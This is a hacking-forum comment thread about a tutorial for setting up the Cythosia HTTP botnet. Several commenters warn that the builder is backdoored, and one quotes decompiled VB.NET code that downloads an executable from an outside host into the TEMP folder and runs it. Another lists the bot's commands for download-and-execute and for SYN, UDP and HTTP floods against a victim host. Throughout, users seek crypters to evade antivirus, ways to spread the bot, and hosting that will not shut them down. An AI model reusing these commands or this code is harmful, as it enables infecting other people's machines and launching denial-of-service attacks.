Froqger - April 3, 2012, 10:17 am

Very Very Nice, I think i'll try this, thank you for introducing it to the community.

Luficer - April 4, 2012, 12:17 pm

Most likely backdoored

Quote:Public Sub Back()

Try

Dim client As New WebClient

```

Dim str As String = "Ripped.exe"
client.DownloadFile("http://www.th0ss.net/ripped/rip.exe",
(Environment.GetEnvironmentVariable("TEMP") & "\ " & str))
New Process() With {
.StartInfo = { FileName:=(Environment.GetEnvironmentVariable("TEMP") & "\ " & str) }
}.Start
Catch obj1 As Object
End Try
End Sub

```

Runs a exe file at C:\Users\Name\AppData\Local\Temp\Ripped.exe

Trying to bypass firewall with
debugging=1

Whouldent trust this.

Ahui - April 5, 2012, 3:49 am

why the bots disconnect after a time?

Lucifer - April 5, 2012, 10:55 am

(Apr 5, 2012 03:49 AM)Ahui Wrote: [\[CITE\]](#) why the bots disconnect after a time?
Because it's backdoored.

-Lucifer

carlos2255 - April 5, 2012, 12:36 pm

its backdoored drop file named ripped.exe soo dony use this fucking shit and the one who
backdoored this is stupid that the ripped.exe dont work in seven 64 bit

azmazm1 - April 5, 2012, 10:57 pm

Your file is binded to a program named "Ripped.exe" which immediately went to temp and then tried
to run... Anything to say about that?

Dot Mp5 - April 6, 2012, 1:33 pm

this is a really good tutorial, thank bro keep up the good work

1122r0 - April 10, 2012, 10:42 pm

I have had the control panel taken down three times by the web host admins on three different sites
is their anyway to prevent this or a web host that wont check up on your site

enfanity - May 11, 2012, 8:51 pm

Hi , i saw a lot of peoples saying thats its backdoored , is it true ?

uglykidjoes - May 12, 2012, 5:42 am

Posting for later read n use thanks op

goto part 17 and when i type my site/webpanel into url it just dont load a page i get the cannot
display page error from internet explorer. where did i go wrong?

edit.... i got it working thanks i had some ' in way of my db name ect and now page loads correctly.
has anyone got list of commands that they can post? thanks again op for tut really helped

smokyduke11 - June 12, 2012, 7:55 pm

thanks man worked perfectly for me :))

SuperMegaFoxyProxyboxxy - June 16, 2012, 5:48 pm

I get some type of error #403 . it does'nt seem to find my web site , can anyone help me ?
I use freewebhostingarea.com btw

D31m0s - June 18, 2012, 1:19 pm

Are there any ports that need to be forwarded?

riouk - July 9, 2012, 4:52 pm

Builder got a problem, i tried to test the builded.exe on another pc and it says "an error as encourted, application will shut down" and (of course) the bot never show. I have tested like 6 times and no ways to fix it. Any ideas ?

janlawrence - July 12, 2012, 6:45 am

gusy i made this but i have many error php error like thats soo how i can fix this pls?

janlawrence - July 13, 2012, 11:36 am

i just finish to make this bot and i hav already1 bot offline xd how its possible? :)

and the builded.exe has no virus xd?

LORD OF FULL\$ - July 16, 2012, 10:11 am

Nice tut I got everything perfect, thanks man

Yolo Swaggins - July 18, 2012, 3:51 pm

Hey everything worked out just fine, but when i run the file i dont get any bots why? Tested it on a few slaves to thay wount come up, please Pm me if you could help me :)

zakrib - July 18, 2012, 4:08 pm

Thanks for the guide, i cant get it going but w/e :P

Deneve - July 18, 2012, 6:53 pm

[IMG]<http://i1073.photobucket.com/albums/w394/deneve2/problem.png>[/IMG]

I believe I got my \$mysql_server: name wrong. Is it not the domain name?

I have teamspeak, IRC, and teamviewer if anyone wants to help.

Second Post :

Ah, I found where the \$mysql_server identity is. I'm not sure about the Username and database together, they are the exact same thing. And the password I have two choices.

Third Post : Nah, it should all be right. I only had two choices for the password and put both of them in. User and database name are the exact same. Does SPAM not work with Cythosia?

GiGz - July 19, 2012, 12:37 am

Dude this looks awesome,thank you for the tutorial I think I will start a botnet today.

Th3MaDhAtT3R - July 19, 2012, 1:30 am

thank you for this, im gonna use it, lets hope i dont fuck up lmao

Masterharv - August 16, 2012, 7:49 am

My Builder won't work is anyone having the same problem :S?

Jazer - August 16, 2012, 7:54 am

nice tut i hope you make more :)....

ExtraMt - August 16, 2012, 11:46 pm

thanks i will replay soon ..

i have some iusse

schuenemann87 - August 17, 2012, 1:55 am

I get the error " The application failed to initalize properly (oxc0000135). wont let me open the builder, I have everything else set up perfectly

to2000mi - August 17, 2012, 2:49 pm

Do you know any good hosting at this moment so i can host my botnet?

Lover200XD - August 18, 2012, 4:51 pm

I used SPAM, I tested this on my self didn't worklol.

Ninja_Poodles - September 25, 2012, 3:44 pm

same used SPAM, got the full site up and it didn't work when i tried to get bots ... :/

WhiteFox - September 25, 2012, 4:18 pm

Mine says " A file permissions error has occurred. Please check the permissions on the script and the directory it is in and try again. "

rights is on 777

Unreliable - September 26, 2012, 8:32 pm

Thanks for this wonderful tutorial.

viresh75 - September 27, 2012, 1:17 pm

Very nice tutorials mate.

Keep up the good work!

MrPip - September 27, 2012, 4:20 pm

Great tutorial I hope this helps other members trying to use this.

d1ctator - September 28, 2012, 4:43 am

nice share

i've been looking for this

Brainstormer - September 28, 2012, 6:46 am

@OP You are from germany?

Wenn ja, kannst mir ja ne PM schreiben, immer nice Leute hier aus DE zu finden, können ja quatschen :P

SIMULACRUM - September 28, 2012, 9:40 am

Why is this thread still alive? It's from 2011 and is probably an outdated tutorial/bot.

NetworkTrojan - December 6, 2012, 6:19 pm

[IMG]<http://i1139.photobucket.com/albums/n549/VernonDeibert/error.png>[/IMG]

How to fix mate?

atef201080 - December 7, 2012, 7:36 am

injected take care, his server name is ripped.exe

xR4tZ0r - December 15, 2012, 2:54 am

Can someone tell me a good cryptor so the exe wont be shown as virus?

Straight Grizzly - December 15, 2012, 5:46 am

Nice tut buddy! Thanks for this it's greatly appreciated.

SIM-1452330 - December 17, 2012, 1:20 am

You made my day, Blixx ! Respect for you, dude. :)

iRBAWS - December 17, 2012, 12:38 pm

If you are unable to setup a botnet by yourself, you should not be running one.

Kustomised - December 17, 2012, 3:08 pm

Can someone encrypt my builded.exe for me?

And what are the easiest ways to spread it, and what did you guys do to "builded.exe".
Pm me.

How I make it undetectable from AVAST, AVG, etc...

How did you guys deal with this, and how did you spread it.

Pm me please if you can help me, I would really appreciate if someone can help me.

kysersosay - December 19, 2012, 5:59 pm

works perfect man,thanks i appreciate it

Riorey - December 19, 2012, 6:51 pm

Cythisia HTTP is Hard to use but Thank you for TuT

palermo007 - December 20, 2012, 11:35 am

How to attack DDOS with cythosia ... my victime is online what i must do ... i see only this Name
Operating System Version Install Date IP Status.

Skype: debeng3

404™ - January 9, 2013, 6:28 am

nice tut i will user this HTTP rat to Spread my server when im not home

Thanks alot

Badhack - January 9, 2013, 6:43 am

Amazing thank you for this tutorial!

Shadowmm90 - January 9, 2013, 7:12 am

lol that bot will bring the police to your door

404™ - January 9, 2013, 7:46 am

(Jan 9, 2013 08:12 AM)Shadowmm90 Wrote: [\[CITE\]](#) lol that bot will bring the police to your door
tell me why ??? all rat can bring the police to your door ?

MrMissingNo - January 9, 2013, 9:54 am

where can i find the Cythbuilder.exe?

killamaster7888 - January 9, 2013, 6:28 pm

Could you please update this and add an actual free hosting website we can use

syrustkira - January 9, 2013, 11:33 pm

thanks this helpedd me alot ^^ i will not be using it though

03d1n - January 9, 2013, 11:37 pm

thank you very much, this post is cool, keep share :)

ochusy - January 11, 2013, 10:34 pm

please i would like to have full knowledge about bot and how to set up... i will pay for the tutorial and set up

Crazy Pc - January 12, 2013, 5:51 am

Good job bro

The msg Too short :D

blaza - January 13, 2013, 9:37 am

this builder is not working, i have test it, he dont connect to the panel!!!

LEGION - January 13, 2013, 10:17 am

Nice bot, and pictures... [35 char]

killamaster7888 - January 13, 2013, 11:23 am

So I have the Website functional and i set my builder to the right settings but when I run it on myself i dont show up on the website. Could anyone help me with this?

Dr. Michio Kaku™ - January 14, 2013, 1:57 am

Thanks for the tutorial Blixx. It will be really gonna help us.

fmnelly - January 16, 2013, 5:31 pm

(Jun 26, 2011 05:36 AM)?4???4?™ Wrote: [\[CITE\]](#) Thanks man for this tutorial..

=)

Btw, any solution about firewall issue?

And when I set chmod to 777 I got internal error..

this is pure and clean tutorial i have ever seen I JUST CREATE MY FIRST PERFECT BOT ...TRY AGAIN MAN

HighTyme - January 30, 2013, 7:41 pm

Ok soo i have successfully set up the botnet but when i try to do the Build.exe i get this message:

Exception Text

JIT Debugging
To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

```
<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>
```

When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

AndroZazu - January 31, 2013, 9:07 am

Thanks a lot for this tut's

But Cythosia is unstable

4N0N5H0CKZZ - January 31, 2013, 11:16 am

Azok.org is just a website with a woman on the homepage and some related searches..

HighTyme - January 31, 2013, 9:56 pm

I have set up the botnet successfully but when i try to build the file i get this message:

HOLY SHIEET, lol wtf?

that just looks fucked up... its not that hard to setup, just upload the files and edit the config.php to ur shit its not that hard lol

PorSec - February 11, 2013, 3:15 pm

all can watch my tuturial i made it

<http://www.youtube.com/watch?v=L2yKkPTfG5Q>

and creating the bot

<http://www.youtube.com/watch?v=1ZmNCNg2KdY>

a soft crypt

<http://www.youtube.com/watch?v=v2nxA4WzP7w>

YOU TUBE - February 12, 2013, 3:01 am

thanks fixed it my self great tut though

Romolus - February 12, 2013, 3:23 am

Any Crypter to crypt it?

Good tutorial!

tomdiego - February 13, 2013, 9:57 am

Nice Tutorial. Thank you very much.

Whitehakzorrr - February 24, 2013, 1:47 pm

Nice tutorial nice pics just awesome!

kierster99 - February 28, 2013, 9:13 am

Please help me!

When I click on the builder I get this error:

[img]http://s21.postimage.org/ym7lqdat3/New_Bitmap_Image.png[/img]

and then the file removes itself.

Am I doing something wrong?

Do I need to install something?

P.S: The exe does NOT have a icon.

Many thanks

Kieran

sh1nra - March 8, 2013, 12:56 pm

I send a friend the builded.exe but no bots will added to my botnet .. :/

valkstorm - March 9, 2013, 6:59 am

Will SPAM be good enough for this?

Xian - March 13, 2013, 12:56 pm

Nice tutorial, will use this later maybe :P

lecet - March 29, 2013, 9:56 am

nice tutorial but i have vps and os centos lol

biz.solution - March 31, 2013, 6:21 pm

Thanks for the help!

Great guide!

biz.solution - April 3, 2013, 8:27 pm

Thanks a lot for the tutorial as new as i am, i have my botnet now with the help of your tutorial.
thanks

srius - April 5, 2013, 1:55 am

builder.exe does not working , could anyone help me ?

Hikki - April 5, 2013, 2:00 am

Awesome tutorial. Thanks for this brother!

DI?E - April 5, 2013, 10:50 am

I heard on another forum this is backdoored. Anyone even check it? Just curious.

I2o88j - April 7, 2013, 9:03 am

Nice one and it is working good as far as build and webpanel.

Need to check it for full functionality

ApolloCreeps - April 10, 2013, 4:46 am

What are the features of this?

Synn, udp, http, Slowloris?

ApolloCreeps - April 11, 2013, 7:25 am

Okay, i tested it...

This bot cannot bypass the Firewall, so its useless.

Its Works good, but !remove don't works every time, u need luck if u want to UN-install a Bot.

Short: Its good for older PC's or Server without all restrictions on an Active Firewall. But useless for most Bot-net Users.

shakex - April 14, 2013, 6:00 am

this is pretty nice! i like this very much

-shakex

ze_bot - April 15, 2013, 5:46 am

my bots stay offline if the pc is turned off and back on.

any1 know wtf is happening?

hatmulticolore - April 21, 2013, 1:30 am

If you chmod to 777 and get erro, use 755....

Simple...

nynno - April 27, 2013, 9:47 pm

Any ideeas how to create the bot? the pannel is up and running, but i think builder is not working anymore,i can't get the victim(tested on my machine). any help?

F-Nuke - May 6, 2013, 5:57 am

This is one of the best botnet building tuts I've ever seen!

??¥I?? - May 13, 2013, 12:32 pm

very nice but i keep getting errors :'(

apac666 - May 14, 2013, 2:32 am

socks not working in this .. no upnp i guess :P ... shit bot if socks does not work.

Malu2 - May 14, 2013, 2:59 am

Nice but I know already how to set up ;)

DI?E - May 14, 2013, 7:47 am

I heard this botnet was terrible. Goes to prove it with the comments posted here.

obstriker - May 15, 2013, 2:58 am

the builder doesn't work for me (i have 64bit if it's matter)

hopp3r - May 26, 2013, 12:17 pm

i finish all step's but now i run the Cuthbuilder and gives me this?

smirs - June 16, 2013, 7:49 am

thanks you very much blix now i can install botnet

Raymond - June 16, 2013, 9:14 am

When you run the bot fails.Tried to run on virtualke

N??? - June 16, 2013, 10:33 am

thank you for this share. This is the ugliest net of all time but its good for the newbs.

Dox You Then Swat You - June 17, 2013, 9:53 pm

Great tut helped out alot, using these steps soon?

https - June 18, 2013, 5:13 pm

What hosting can we use for this now?

Insert Name Here - June 21, 2013, 7:03 am

Is it Autorunning (If a Bot restarts his/her computer the virus auto runs again and they show up as online again, rather then staying offline after a computer restart)?

D4rk Coding - June 27, 2013, 3:39 pm

wtf i get this error when i go to my site/Webpanel/

<https://gyazo.com/be6b538df3ffccf25b3a62d2d22bfabd> please help.

cryyzn - June 29, 2013, 12:04 am

This Botnet works fine for me, thx :)

johnny97 - July 3, 2013, 5:16 am

guys you all can better host your botnet on <http://wapka.asia/> its a very good indian provider so your botnet is not deleted ones you created it... if you host your botnet in the US, the chance is big that within 72 hours your botnet is inactive and that you are reported to the authorities... in asia its much easier to setup...

Blad - July 3, 2013, 5:36 am

Nice thread, worked really well!! Thanks heaps.

Hayd3n - July 3, 2013, 5:39 am

Everything works, nice thread aswell

AmericanHakku - July 3, 2013, 6:43 am

With SPAM, i make my account, get my domain set up and everything, but when i visit it, it says: Connection timed out. I even asked some friends and they said they could visit the site... why can't i?

When i make the file with the builder, the builder crashes, although it does make the file. When i open the file it says there is a problem with the file, and it never shows up on my bots.

jcbullet - July 10, 2013, 10:33 am

Ok, Abit of a n00b question. Panels all loaded up fine, The time on the cpanel matches but when i create a task the time is 5 hours behind. Anyone know where i can modify the time zone for creating a task?

Silentflow - July 11, 2013, 12:53 pm

Cant build my server can somebody do this for me please?
I get an error.

Nice Net Bro - July 12, 2013, 11:02 am

How muchs bots does it handle?? Greetings Nice net bro.

jcbullet - July 13, 2013, 12:51 pm

Dutch, i can build this for you if you want, can get up to 100-200 on free webhost.

blu3 - July 13, 2013, 6:05 pm

Vamporno - July 20, 2013, 2:22 am

Nice BotNet Just Finish Setting it up ^_^

CorePack - July 20, 2013, 8:04 am

Awesome Tutrial .. iwill try Thanks Mate

nani680 - July 22, 2013, 3:48 am

very good guide, will certainly come in handy thanks

Bustingbuster - July 23, 2013, 5:50 am

Done setting up my first botnet, And i got 2 bots by some exploit packs in just 5 mins, But can anybody suggest me a good free host to host these exploit packs ? I have tried SPAM and its total crap. So anyother good host ?

-Thanks-

Onyx O Leet - July 23, 2013, 8:36 am

Looks easy to do :o - Will definitely try making a botnet one day :D good job

Demoralise - July 27, 2013, 6:17 pm

Tested the out on my own computer, Windows Firewall caught it. This program in other words is useless, no crypter is going to fix that issue.

visahing1 - July 29, 2013, 5:53 pm

worked on me! I used SPAM - worked perfectly

Spoiler ([Click to View](#))[img]http://www.upload.ee/image/3477972/Capture.JPG[/img]
?

kayurse2 - July 29, 2013, 7:15 pm

-help me

what commands i can use for that?

visahing1 - July 30, 2013, 2:50 am

Misc Commands:

Download & Execute: !dl*http://yourlink.com/yourfile.exe

Update: !update*http://yourlink.com/yourfile.exe

Uninstall: !remove

DDos Commands:

All this commands without "http://!"

Syn Flood: !syn*www.victimhost.com*port*threads*sockets -- 2 Threads and 2 Sockets are OK (:

UDP Flood: !udp*www.victimhost.com*port*threads*sockets*packetize -- 2 Threads, 2 Sockets and 800 Packetize are OK (:

Http Flood: !http*www.victimhost.com

My question is:How can I change the default password?

Brian Krebs - July 30, 2013, 3:02 am

You change the default password in the index.html file. It'll be somewhere at the top

visahing1 - July 30, 2013, 3:12 am

Can you give me Working encrypter please

Brian Krebs - July 30, 2013, 3:14 am

(Jul 30, 2013 03:12 AM)visahing1 Wrote: ([CITE](#)) Can you give me Working encrypter please

You can buy one in the market place or go to crypters.net

madahack - July 30, 2013, 12:02 pm

hi and thanks for this great tut,but how can i spread the builder????

xali - July 30, 2013, 6:43 pm

17. Now go to your website: <http://www.yoursite.com/Webpanel/>

A small box with "password" should pop up. The default password is "admin". To edit the password edit the index.php which you can find in /Webpanel/index.php

I have problem there. When i wrote a password nothink happend. Whats wrong ?

Vamporno - August 2, 2013, 12:14 am

How Do I delete an bot? I know its !remove but what goes after the !remove?

Parika - August 2, 2013, 1:13 am

That's some pretty . Thanks for help!

Neonowl - August 4, 2013, 6:43 am

Azok link no longer works. Sorry if there was something that i didnt read that updated a new link.

MrHocker - August 4, 2013, 7:51 am

Works perfectly with SPAM thanks, vouch this !!

Brian Krebs - August 4, 2013, 8:03 am

(Aug 4, 2013 07:51 AM)MrHocker Wrote: [\[CITE\]](#) Works perfectly with SPAM thanks, vouch this !!
You'll be shut down in a week or two. Totally pointless even attempting to do this

MrHocker - August 4, 2013, 11:53 am

how do i get rid a bot i dont want anymore ??

(Aug 4, 2013 08:03 AM)Skyon Wrote: [\[CITE\]](#) You'll be shut down in a week or two. Totally pointless even attempting to do this

ah right okay cheers for the heads up, il get looking into a new host

Javaw - August 4, 2013, 11:51 pm

For those wondering he used SPAM.com, I tested it and it works fine. Nice tutorial mate :).

Note: if it gives you an error while uploading your web panel make sure you opened the port (5036 or something like that) and it's in zip format.

iParadox - August 5, 2013, 7:53 pm

Thanks man, I plan on doing this tonight

WojaKk - August 6, 2013, 7:41 am

Thanks for totorial man :) I'll try it.

The Night - August 7, 2013, 10:50 am

Very nice tutorial i will def use this :D

BanMeNot - August 8, 2013, 2:15 pm

Is anyone else getting errors when trying to use the builder?

G??gl? - August 8, 2013, 11:00 pm

(Aug 8, 2013 02:15 PM)BanMeNot Wrote: [\[CITE\]](#) Is anyone else getting errors when trying to use the builder?Yeah im getting error too. Not sure why :P

goodman12 - August 9, 2013, 4:11 am

This HTTP bots does it capture from all browsers chrome safari mozilla?

BlackWeedz - August 9, 2013, 1:09 pm

Nice tutorial going to try this now

KombatMC - August 10, 2013, 12:21 pm

Thanks thanks man! Im nearly done with my botnet!

kra007 - August 11, 2013, 1:21 am

thanks for this tutorial it really helped me

thanks man a lot im going to try this now

Anon?M ID - August 11, 2013, 9:22 am

A lot of well-written and to-the-point tutorials on this forum, and this one's no exception, thanks for this :)

GarrysSketch - August 11, 2013, 7:15 pm

azok.org isn't up anymore. Can anyone suggest a good free web host that will allow me to do this stuff? I haven't been able to find a good one...

WhitePantha - August 15, 2013, 3:02 pm

(Aug 11, 2013 07:15 PM)GarrysSketch Wrote: [\[CITE\]](#) azok.org isn't up anymore. Can anyone suggest a good free web host that will allow me to do this stuff? I haven't been able to find a good one...

Just pay the 5-10\$ for a real host.

P???ce - August 16, 2013, 5:07 am

it shows:

Spoiler [\(Click to View\)](#) Bots Offline: 1 Bots (100%)

=))

It's so hard for me to get any first victim using any virus file :D

I'm trying so :)

Thank you for this tutorial & file :)

(Aug 8, 2013 02:15 PM)BanMeNot Wrote: [\[CITE\]](#) Is anyone else getting errors when trying to use the builder?

Hi All, anyone getting error should install Dot Net Framework 4.5, such programs are developed in .net framework so won't work without it.

?

mollyfan - August 20, 2013, 12:20 am

thanks for the info! trying it now with a different host :)

zStyle - September 5, 2013, 5:06 pm

Just followed this tutorial, and it worked. I have to say thank you man!

byRadial - September 6, 2013, 9:34 am

Great tutorial, thanks for the share.

gustamel - September 6, 2013, 2:41 pm

thanks bro, i like it, i would like to try it

worshipmyhalo - September 7, 2013, 12:52 am

i agree with them! But trying it out

ThePirateBayUs - September 7, 2013, 2:10 am

Well great tut man helped alot thanks

code_inj3ctor - September 7, 2013, 2:56 am

Nice tutorial.

Is there any chance of the account getting suspended while hosting this botnet at SPAM?

takounie - September 7, 2013, 4:32 am

Thanks for this tuto, and i vouch this free webhost instead of azok.org (whose actually down):
site90.com

Presidento - September 23, 2013, 5:00 pm

Thanks for this download + TUT. Work very nice

nostradame37 - September 24, 2013, 8:21 am

Hello Awesome release The website its work perfeckt but i have problem whit the build the exe

i have build the infecktet exe (Microsoft.exe) after i send it to my brotherst pc

I have run the exe the after this i have a system mesage do you want to run this programm? i have
press yes.

My problem is the bot its not on my pannel and the exe its stil there on the desctop

Can aniware help mee?

Edit the problem its solved

Next problem the bots its online for 20 minets after its all offline wy?

i think its not real botnet its a botnet for the tread creator the bots its after 20 minutes unlink to the
Tread Creator ???

Pls answer

Redo. - September 25, 2013, 1:39 am

Amazing tutorial, simple and easy, now, sorry for the noob issue, but...i raised 15 bot, how i can use
them?

Thanks in advance.

-Redo

P-Kito - September 25, 2013, 3:32 pm

Can't build the spread.exe

Says "mapping.cs" already in use.

Greetings

MobTheDead - September 26, 2013, 8:07 pm

About how long did it take you? IT took me about 5 hours.

Blue1 - September 27, 2013, 12:05 am

it dont work for me.

<https://gyazo.com/dbdfc9909f282c358d84e7089b32e798>

how i can fix it

hacker53 - September 27, 2013, 11:02 am

Ok Cythisia Botnet Me test HTTP ;) Please wait

Bollywood - September 28, 2013, 4:57 am

Can anyone still help me..? about cythesis..? Please? :)

ProxiedFlare - October 1, 2013, 9:32 pm

Amazingly nice and clear steps thanks allot man

Ok now im having errors when i chmod 777 everything i get internalserver error can any one help with this

themystic - October 3, 2013, 12:47 am

this is infected.

[/code][img]http://golftourismteaching.eu/ripped.jpg[/img]

Proximity. - October 12, 2013, 12:42 am

Thanks it helped alot. thanks to this thread I have my first HTTP botnet. ?

loko93 - October 12, 2013, 4:00 am

hello dear sir i builded the server in SPAM all is cool but when i try to login it wont open im in albania mabye need to edit somethind in diferent mode

Neo???? - October 12, 2013, 6:45 am

im having a few problems with hosting. anyone know a good website host?

librax - November 13, 2013, 7:26 pm

I am a newbie here.. Probably the only girl here..please guys i need an already created and configured botnet and how to spread.. I tried out a couple of tuts here and still don't get it.. I have a downloaded botnet(source) I found somewhere online.. I have a free host for my sql and php.. I did all am supposed to do but didn't get it.. I know I'm not that smart like you guys so please help.. Kisses n hugs Libra xxx librax@tormail.org?

SuperBluElephant - November 28, 2013, 8:33 pm

What would be the best way to spread it?

Dornome - November 29, 2013, 5:47 am

Please help! I have this happen to me when I am done!

<https://gyazo.com/aae03b298431007a2ed2c3673c89a069> How do i fix it?
